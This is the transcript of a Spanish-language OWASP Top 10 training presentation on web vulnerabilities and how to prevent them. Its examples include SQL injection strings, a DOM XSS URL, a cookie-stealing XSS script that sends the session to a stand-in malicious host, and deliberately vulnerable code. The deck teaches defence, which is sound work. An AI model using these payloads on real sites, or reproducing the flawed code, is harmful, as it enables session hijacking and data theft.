OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security...

96
OWASP Top 10 Open Web Application Security Project Eduardo Ostertag Jenkins, Ph.D. OBCOM INGENIERIA S.A. [email protected]

Transcript of OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security...

Page 1: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

OWASP Top 10Open Web Application Security Project

Eduardo Ostertag Jenkins, Ph.D.

OBCOM INGENIERIA S.A.

[email protected]

Page 2: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Temario

Inyección

Pérdida de autenticación y gestión de sesiones

Secuencia de comandos entre sitios (XSS)

Referencia directa insegura a objetos

Configuración de seguridad incorrecta

Exposición de datos sensibles

Ausencia de control de acceso a las funciones

Falsificación de peticiones en sitios cruzados (CSRF)

Uso de componentes con vulnerabilidades conocidas

Redirecciones y reenvíos no validados

Desbordamiento de búfer (tema adicional)

Page 3: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Introducción

Charla basada en “OWASP Top 10 2013”

Open Web Application Security Proyect (OWASP)

También incluye material obtenido en “Wikipedia”

La idea es crear conciencia sobre la seguridad en las

aplicaciones (software) identificando algunos de los

riesgos más críticos que enfrentan las organizaciones

https://www.owasp.org/index.php/Main_Page

Page 4: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Muchos con problemas de seguridad

Page 5: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Modelo de evaluación del riesgo OWASP

Page 6: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Inyección

Page 7: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Inyección

Las fallas de inyección (tales como SQL o Código)

ocurren cuando datos no confiables son enviados a un

interprete como parte de un comando o consulta.

Los datos hostiles del atacante pueden hacer que el

interprete ejecute comandos no deseados que permiten

acceder y/o modificar datos no autorizados.

Page 8: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Inyección: flujo de un ataque

Firew

all

Hardened OS

Web Server

App Server

Firew

all

Data

base

s

Legacy

Syst

em

s

Web S

erv

ices

Direct

ories

Hum

an R

esr

cs

Bill

ing

Custom Code

APPLICATIONATTACK

Netw

ork

Layer

Applic

ation L

ayer

Acc

ounts

Fin

ance

Adm

inis

tration

Tra

nsa

ctio

ns

Com

munic

ation

Know

ledge M

gm

t

E-C

om

merc

e

Bus.

Funct

ions

HTTP

request

SQL

query

DB Table

HTTP

response

Page 9: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Inyección: ejemplo inyección SQL (1)

La aplicación muestra un formulario a un atacante

El atacante envía un ataque en la data del formulario

La aplicación reenvía el ataque a la base de datos

La base de datos ejecuta la consulta con el ataque

La base envía el resultado de la consulta al atacante

"SELECT * FROM

accounts WHERE

acct=‘’ OR 1=1--

’"

Account Summary

Acct:5424-6066-2134-4334

Acct:4128-7574-3921-0192

Acct:5424-9383-2039-4029

Acct:4128-0004-1234-0293

Account:

SKU:

Account:

SKU:

Page 10: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Inyección: ejemplo inyección SQL (2)

String id = request.getParameter("id");String query = "SELECT * FROM accounts WHERE custID='" + id + "'";PreparedStatement stmt = conn.prepareStatement(query);ResultSet rset = stmt.executeQuery();

http://example.com/app/accountView?id=' or '1'='1

SELECT * FROM accounts WHERE custID='' or '1'='1';

La aplicación está programada de la siguiente forma

El atacante envía la siguiente URL desde el navegador

La consulta que se ejecuta en la base de datos

¡¡Los datos de todos los usuarios se retornan al atacante!!

Page 11: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Inyección: ejemplo inyección SQL (3)

int id = Integer.parse(request.getParameter("id"));

String query = "SELECT * FROM accounts WHERE custID=?";

PreparedStatement stmt = conn.prepareStatement(query);

stmt.setInt(1, id);

ResultSet rset = stmt.executeQuery();

Los parámetros ahora se validan (Integer.parse)

La consulta ahora está parametrizada (?)

¿Está autorizado el usuario login para usar el valor suministrado del parámetro “id”?

Page 12: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Inyección: recomendaciones

Si puede, evite usar el interprete SQL

Utilice interfaces que permiten asociar variables con valores como PreparedStatement o PrecedimientosAlmacenados: con esto el interprete puede distinguir entre código y data

Codifique (encode) toda la data suministrada por el usuario antes de pasársela al interprete

Valide toda la data suministrada por el usuario contra una “lista de aprobación” (white-list)

Reduzca al mínimo los privilegios necesarios para realizar las operaciones en la base de datos

Page 13: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Inyección: ¿qué opina de esta función?

CREATE OR REPLACE FUNCTION ejemplo(_id IN VARCHAR) RETURNS SETOF empleados

AS $BODY$BEGIN

RETURN QUERY EXECUTE 'SELECT * FROM empleados WHERE id=' || _id;

END;$BODY$ LANGUAGE plpgsql;

Dicen que las funciones o procedimientos almacenados no tienen problemas de inyección

¿Qué opina de la siguiente función PostgreSQL?

Page 14: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Pérdida de autenticación y gestión de sesiones

Page 15: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Pérdida de autenticación y gestión de sesiones

Las funciones relacionadas a autenticación y gestión de sesiones están frecuentemente mal implementadas.

Esto permite a un atacante obtener contraseñas, claves, símbolos (tokens) de sesiones.

También permite explotar otras fallas de implementación para asumir la identidad de otros usuarios.

Page 16: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Pérdida de autenticación y gestión de sesiones: flujo de un ataque

Custom Code

Acc

ounts

Fin

ance

Adm

inis

tration

Tra

nsa

ctio

ns

Com

munic

ation

Know

ledge

Mgm

t

E-C

om

merc

e

Bus.

Funct

ions1 Usuario envía credenciales

2El sitio reescribe la URL

colocando la sesión

3 El usuario hace clic en http://www.hacker.com

www.boi.com?JSESSIONID=9FA1DB9EA...

4El atacante revisa los logs de www.hacker.comy encuentra el JSESSIONID del usuario

5 El atacante usa JSESSIONID y toma control de la cuenta del usuario

Page 17: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Pérdida de autenticación y gestión de sesiones: ejemplo 1

http://example.com/sale;jsessionid=2P0OCHCJUN2JV?dest=Chile

Una aplicación de reservas aéreas admite la reescriturade URL, poniendo el ID de sesión en la URL:

Un usuario autenticado quiere informar a sus amigossobre la oferta. Envía un correo con esta URL, sin saberque también está enviando su ID de sesión. Cuando susamigos usan la URL, usarán su sesión, y tendrán accesoa todos sus datos personales (tarjeta de crédito).

Page 18: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Pérdida de autenticación y gestión de sesiones: ejemplo 2

Los tiempos de espera (timeout) de la aplicación no están correctamente definidos

El usuario utiliza una computadora pública para acceder al sitio

En lugar de seleccionar "cerrar sesión", el usuario simplemente cierra la pestaña del navegador y se aleja

El atacante usa el mismo navegador una hora más tarde, y ese navegador aún está autenticado

Page 19: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Pérdida de autenticación y gestión de sesiones: ejemplo 3

Un atacante interno o externo obtiene acceso a

la base de datos de contraseñas del sistema

Las contraseñas de los usuarios no están

protegidas correctamente (hash, encriptación)

El atacante tiene acceso a la contraseña de

cada usuario del sistema

Page 20: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Pérdida de autenticación y gestión de sesiones: recomendaciones (1)

Autenticación debe ser simple, centralizada y estándar

Usar el manejo de sesión estándar provisto por el

contenedor o “Application Server” (JEE, IIS, …)

Siempre use HTTPS para proteger credenciales y

identificaciones de sesiones (JSESSIONID)

Verifique que su certificado HTTPS tiene los niveles de

seguridad mínimos recomendados (expiración, bits, …)

Page 21: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Pérdida de autenticación y gestión de sesiones: recomendaciones (2)

Revise todas las funciones asociadas a autenticación

Realice una re-autenticación del usuario justo antes de

realizar cualquier operación delicada

Verifique que “logoff” destruye e invalida la sesión

Use WebScarab de OWASP (o alguna herramienta

equivalente) para revisar su sitio

¿Cuál es la diferencia entre Autenticar y Autorizar?

Page 22: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Pérdida de autenticación y gestión de sesiones: recomendaciones (3)

La mayoría de los marcos de trabajo (frameworks) y

bibliotecas sólo verifican si el programador lo solicita

Mejor usar política inversa: verificar todo acceso excepto si

el programador solicita que no se haga

Por defecto, toda operación debe estar denegada a todos

hasta que explícitamente se defina algo distinto

Principio del mínimo privilegio: asigne a una operación el

privilegio mínimo necesario por el mínimo tiempo posible

Page 23: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Pérdida de autenticación y gestión de sesiones: recomendaciones (4)

Programe el control basado en “actividades” en vez de “roles”

if (user.hasRole("MANAGER")) deleteAccount(); // OK

if (user.hasAccess("DELETE_ACCOUNT")) deleteAccount(); // Mejor

No programe “en duro” el “control de acceso”; defínalo en forma

separada para que se pueda auditar y modificar fácilmente

Lo único que se necesita para el control de acceso en el lado del

cliente (JavaScript) son los IDs de los datos accedidos

Todas las decisiones de control de acceso deben tomarse en el

servidor web (GlassFish)

Page 24: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Secuencia de comandos entre sitios cruzados (XSS)

Page 25: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Secuencia de comandos entre sitios cruzados (XSS)

Cross-Site Scripting = XSS

Las fallas XSS ocurren cada vez que una aplicación toma datos no confiables y los envía al navegador web sin una validación y codificación apropiada.

XSS permite a los atacantes ejecutar secuencia de comandos en el navegador de la victima, los cuales pueden secuestrar las sesiones de usuario, destruir sitios web, o dirigir al usuario hacia un sitio malicioso.

Page 26: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Secuencia de comandos entre sitios cruzados: una secuencia típica

Aplicación con vulnerabilidad XSS

3

2

Atacante coloca una trampa: “Actualizar mi perfil”

El atacante introduce un script malicioso en una página web que almacena los datos en el servidor

1

Victima ve la página - ve perfil del atacante

Script envía silenciosamente la cookie de sesión de la víctima

El script se ejecuta dentro del navegador de la víctima con acceso completo al DOM y las cookies

Custom Code

Acc

ounts

Fin

ance

Adm

inis

tration

Tra

nsa

ctio

ns

Com

munic

ation

Know

ledge

Mgm

t

E-C

om

merc

e

Bus.

Funct

ions

Page 27: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Secuencia de comandos entre sitios cruzados: mostrar ejemplo ataque XSS

<%String dato1 = request.getParameter("dato"); String dato2 = dato1.replace("<", "&lt;");

%><html><head>

<title>Ejemplo de XSS</title></head><body>

El parámetro 'dato' sin codificar <%=dato1%><br>El parámetro 'dato' codificado es <%=dato2%>

</body></html>

Page 28: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Secuencia de comandos entre sitios cruzados: ejemplos de ataques XSS

<script>document.body.innerHTML("Jim was here");</script>

<script>var img = new Image();img.src="http://www.sitio-malo.cl?" + document.cookie;

</script>

Ataque XSS que roba de la sesión Web (cookie JSESSIONID):

Ataque XSS que deforma el sitio Web mostrando contenido no original:

Los ataques XSS se ejecutan en el programa navegador (browser) del usuario

Pueden tener una amplia variedad de efectos

Page 29: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Secuencia de comandos entre sitios cruzados: tipos de ataques XSS

Persistentes

XSS persistente (o XSS almacenado) se produce cuando un ataque XSS está almacenado en la base de datos o sistema de archivos del sitio Web.

Reflejados

XSS reflejado se produce cuando el atacante coloca una carga XSS como parte de una URL, y luego engaña a una víctima para que visite un sitio usando esa URL.

Basados en DOM (Document Object Model)

XSS basado en DOM es un ataque que se produce en DOM y no en código HTML. La página HTML no cambia, pero el código que del navegador (browser) se ejecuta de forma diferente.

Page 30: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Secuencia de comandos entre sitios cruzados: DOM (Document Object Model)

DOM es una interfaz de programación que representa HTML, XHTML o XML como una estructura de árbol en la que cada nodo es un objeto que representa una parte del documento.

Los objetos del árbol se pueden manipular programáticamente y cualquier cambio visible que se produzca como resultado puede reflejarse en la visualización del documento.

Page 31: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Secuencia de comandos entre sitios cruzados: ejemplo de ataque DOM

http://www.ejemplo.cl/test.html#<script>alert(1)</script>

<script>var uri = decodeURI(document.baseURI);document.write("<b>La URL es</b>: " + uri);

</script>

La página “test.html” del sitio “www.ejemplo.cl” tiene el siguiente código:

Un ataque XSS de tipo DOM puede hacerse usando la siguiente URL:

La API “decodeURI” decodifica una URL codificada

La API “document.write” escribe la estructura DOM

La API “document.baseURI” retorna la URL base

Page 32: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Secuencia de comandos entre sitios cruzados: mostrar ejemplo XSS DOM

<html><head>

<title>Ejemplo de XSS tipo DOM</title></head><body> <script>

var uri = decodeURI(document.baseURI); document.write("<b>La URL es</b>: " + uri);

</script></body></html>

Page 33: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Secuencia de comandos entre sitios cruzados: recomendaciones

En la medida de lo posible: no retornar la data

ingresada por el usuario en páginas de respuesta

Valide toda la data suministrada por el usuario contra

una “lista de aprobación” (white-list)

Utilizar “Content Security Policy” (CSP)

Codifique (encode) toda la data ingresada por el

usuario antes de retornarla en una página

Page 34: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Content Security Policy (CSP)

Servidor Web retorna encabezado(s) con política(s): Content-Security-Policy: script-src 'self'

Content-Security-Policy: img-src 'self' data: https:

Content-Security-Policy: object-src 'none‘

Content-Security-Policy: report-uri /some-report-uri

Content-Security-Policy: media-src media.example.com

Content-Security-Policy: plugin-types application/pdf

Si alguna política no se cumple, el cliente no ejecuta la acción, y muestra un mensaje de error. También puede enviar reportes a una URL

Código “en línea” es considerado peligroso

Page 35: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Código “en línea” considerado peligroso

<script>function showFantastic() alert('¡Eres fantástico!');

</script><button onclick='showFantastic();'>¿Soy fantástico?</button>

<script src='fantastico.js'></script><button id='fantastico'>¿Soy fantástico?</button>

function showFantastic() alert('¡Eres fantástico!');

document.addEventListener('DOMContentReady', function () document.getElementById('fantastico').addEventListener('click', showFantastic);

);

Page 36: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Codificar los datos no seguros

Propiedades CSS.pdiv color: red; text-decoration: underline

Código JavaScript<script>someFunction(‘DATA’)</script>

Valores atributos HTML<input name='person' type='TEXT'

value='defaultValue'>

Contenido elementos HTML<div>some text to display</div>

Valores de atributos en URI<a href="http://www.sitio.cl?search=DATA“ …

#4: All non-alphanumeric < 256 \HH

ESAPI: encodeForCSS()

#3: All non-alphanumeric < 256 \xHH

ESAPI: encodeForJavaScript()

#1: ( &, <, >, " ) &entity; ( ', / ) &#xHH;

ESAPI: encodeForHTML()

#2: All non-alphanumeric < 256 &#xHH;

ESAPI: encodeForHTMLAttribute()

#5: All non-alphanumeric < 256 %HH

ESAPI: encodeForURL()

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Page 37: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Regla 0 para prevenir XSS

Nunca inserte datos no confiables excepto en ubicaciones permitidas

Directamente en <script> <script>...NEVER PUT UNTRUSTED DATA HERE...</script>

Dentro de un comentario HTML <!--...NEVER PUT UNTRUSTED DATA HERE...-->

En el nombre de un atributo HTML <div ...NEVER PUT UNTRUSTED DATA HERE...=test />

En el nombre de una marca (tag) HTML <NEVER PUT UNTRUSTED DATA HERE... href="/test" />

En especificaciones de estilo (CSS) <style>...NEVER PUT UNTRUSTED DATA HERE...</style>

Page 38: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Regla 1 para prevenir XSS

Codifique contenido antes de insertarlo en elementos HTML

<body>...ESCAPE UNTRUSTED DATA HERE...</body>

<div>...ESCAPE UNTRUSTED DATA HERE...</div>

En otras entidades similares

& --> &amp;< --> &lt;> --> &gt;" --> &quot;' --> &#x27; (&apos; no forma parte de HTML)/ --> &#x2F; (termina las entidades HTML)

Page 39: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Regla 2 para prevenir XSS

Codifique contenido antes de insertarlo en atributos HTML

Dentro de un atributo sin comillas

<div attr=...ESCAPE UNTRUSTED DATA HERE...>content</div>

Dentro de un atributo con comillas simples

<div attr='...ESCAPE UNTRUSTED DATA HERE...'>content</div>

Dentro de un atributo con comillas dobles

<div attr="...ESCAPE UNTRUSTED DATA HERE...">content</div>

Page 40: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Regla 3 para prevenir XSS

Codifique contenido antes de insertarlo en ubicaciones JavaScript

Dentro de un string entre comillas

<script>alert('...ESCAPE UNTRUSTED DATA HERE...')</script>

Al lado de una expresión entre comillas

<script>x='...ESCAPE UNTRUSTED DATA HERE...'</script>

Dentro de un handler de eventos entre comillas

<div onmouseover="x='...ESCAPE UNTRUSTED DATA HERE...'"</div>

Page 41: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Regla 4 para prevenir XSS

Codifique contenido antes de insertarlo en estilos (Styles)

<style>selector property : ...ESCAPE UNTRUSTED DATA HERE...; </style>

<style>selector property : "...ESCAPE UNTRUSTED DATA HERE..."; </style>

<span style="property : ...ESCAPE UNTRUSTED DATA HERE...">text</span>

Page 42: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Regla 5 para prevenir XSS

Codifique URL antes de insertarlo en parámetros URL

<a href="http://www.site.cl?rut=...ESCAPE UNTRUSTED DATA HERE...">link</a>

Excepto para caracteres alfanuméricos, codifique todos los caracteres con valores ASCII con el formato %HH.

String safe = ESAPI.encoder().encodeForURL(request.getParameter("rut"));

Page 43: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Referencia directa insegura a objetos

Page 44: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Referencia directa insegura a objetos

Una referencia directa a objetos ocurre cuando un desarrollador expone una referencia a un objeto de implementación interno, tal como un archivo, directorio, o llave de base de datos.

Sin un chequeo de control de acceso u otra protección, los atacantes pueden manipular estas referencias para acceder datos no autorizados.

Page 45: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Referencia directa insegura a objetos: errores comunes

Sólo se enumeran los objetos "autorizados" para el

usuario actual, o bien…

Se ocultan las referencias de objetos en campos ocultos

... y luego no se hacen cumplir estas restricciones en el

lado del servidor

Esto se llama “Control de acceso de capa de

presentación”, y no funciona: el atacante simplemente

manipula el valor del parámetro

Page 46: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Referencia directa insegura a objetos: errores comunes

El atacante detecta el parámetro “cuenta” con el valor 6065

?cuenta=6065

El atacante modifica el parámetro con un valor similar (cercano)

?cuenta=6066

El atacante puede ver la información de una cuenta no autorizada

https://www.banco.cl/user?cuenta=6065

Page 47: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Referencia directa insegura a objetos: recomendaciones

Cambiar el valor del parámetro por otro temporal

http://app?file=Report123.xls => http://app?file=1

http://app?id=9182374 => http://app?id=7d3J93

Validar en el servidor las referencias a objetos:

Que el valor esté correctamente formateado

Que el valor temporal sea legal y esté aun vigente

Que el usuario tiene permiso para acceder al objeto

Que el tipo de acceso es el correcto: read, write, delete

Page 48: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Configuración de seguridad incorrecta

Page 49: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Configuración de seguridad incorrecta

Las aplicaciones requieren de una base segura Desde el Sistema Operativo (OS) hasta el Servidor Web

¿Su código fuente es un secreto? Piense en todas las partes a donde llega su código (¿quién lo mira?)

La seguridad no debe necesitar código secreto

La gestión de cambio (CM) debe extenderse a todas las partes de la aplicación Todas las credenciales deben cambiarse al pasar a producción

Posibles consecuencias de configuración incorrecta:

Instalaciones “por la puerta de atrás” debido a la falta de parches en el Sistema Operativo (OS) o Servidor Web

Acceso no autorizado a (1) cuentas predeterminadas, (2) lógica o data de la aplicación, (3) lógica no utilizada pero accesible

Page 50: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Configuración de seguridad incorrecta: caminos posibles en una aplicación

Hardened OS

Web Server

App Server

Framework

App Configuration

Custom Code

Acc

ounts

Fin

ance

Adm

inis

tration

Tra

nsa

ctio

ns

Com

munic

ation

Know

ledge M

gm

t

E-C

om

merc

e

Bus.

Funct

ions

Test Servers

QA Servers

Source Control

Development

Database

atacante

Page 51: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Configuración de seguridad incorrecta: recomendaciones

Verifique la configuración de su sistema

Utilice guías de endurecimiento (hardening) de la configuración

Debe cubrir toda la plataforma y toda la aplicación

Analizar los efectos de los cambios sobre la seguridad

Hay herramientas que facilitan este trabajo (findbugs, por

ejemplo)

¿Puede hace un “dump” de la configuración de la

aplicación para revisarla completamente?

Page 52: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Exposición de datos sensibles

Page 53: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Exposición de datos sensibles

Muchas aplicaciones web no protegen adecuadamente datos

sensibles tales como números de tarjetas de crédito o

credenciales de autenticación.

Los atacantes pueden robar o modificar estos datos para

llevar a cabo fraudes, robos de identidad u otros delitos.

Los datos sensibles requieren de métodos de protección

adicionales tales como el cifrado de datos, así como de

precauciones especiales en un intercambio de datos con el

navegador.

Page 54: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Exposición de datos sensibles: escribir datos confidenciales

Custom Code

Acc

ounts

Fin

ance

Adm

inis

tration

Tra

nsa

ctio

ns

Com

munic

ation

Know

ledge

Mgm

tE-C

om

merc

e

Bus.

Funct

ions

1

La víctima ingresa un número de tarjeta en un form HTML

2Error en código escribe los detalles de la tarjeta en archivo log

4

Un malicioso interno se roba un millón de número de tarjetas de crédito

Log files

3Los archivos log los pueden leer todas las personas de IT para hacer debug

Page 55: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Exposición de datos sensibles: errores típicos

No identificar todos los datos confidenciales

No identificar todos los lugares donde se almacenan estos

datos confidenciales

Bases de datos, archivos, directorios, logs, respaldos, etc.

No identificar todos los lugares a los que se envían estos

datos confidenciales

Web, bases de datos del backend, socios comerciales, comunicaciones

internas

No proteger adecuadamente estos datos en todas partes

Page 56: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Exposición de datos sensibles: posibles impactos

Los atacantes pueden acceder o modificar información confidencial o privada

Los atacantes extraen secretos para usar en ataques adicionales

Vergüenza de la empresa, insatisfacción del cliente, y pérdida de confianza

Gastos de limpieza del incidente, envío de cartas de disculpa, reeditando miles de tarjetas de crédito, comprar seguro de robo de identidad

Negocio es demandado y/o multado

Page 57: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Exposición de datos sensibles: recomendaciones (1)

Verifique su arquitectura

Identificar todos los datos sensibles

Identificar todos los lugares donde se almacenan los datos

Asegurar que el modelo de amenaza cubre posibles ataques

Proteja con mecanismos apropiados

Encriptación de archivos, bases de datos, elementos de datos

Utilice correctamente los mecanismos

Utilice algoritmos fuertes y estándares

Genere, distribuya y proteja correctamente las claves

Prepárese para el cambio claves

Page 58: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Exposición de datos sensibles: recomendaciones (2)

Verifique la implementación

Utilice un algoritmo fuerte y estándar, y el algoritmo es

apropiado para esta situación

Todas las claves, certificados y contraseñas están

correctamente almacenados y protegidos

Se cuenta con una distribución segura de llaves y un plan

efectivo para cambios clave

Analizar código de cifrado para detectar fallas comunes

Page 59: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Exposición de datos sensibles: protección insuficiente en la red

Custom Code

Empleados

AsociadosVíctima externa

Backend Systems

1

El atacante externo roba credenciales y datos fuera de la red

2

Un atacante interno roba credenciales y datos de la red interna

Page 60: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Protección insuficiente en la red: recomendaciones (1)

Proteger con mecanismos apropiados

Usar TLS en todas las conexiones con datos sensibles

Utilice HSTS (HTTP Strict Transport Security)

Utilice HPKP (HTTP Public Key Pinning)

Cifrar mensajes individuales antes de la transmisión (XML-Enc)

Firma de mensajes antes de la transmisión (XML-Sign)

Utilice correctamente los mecanismos

Usar algoritmos fuertes y estándares (desactivar SSL viejos)

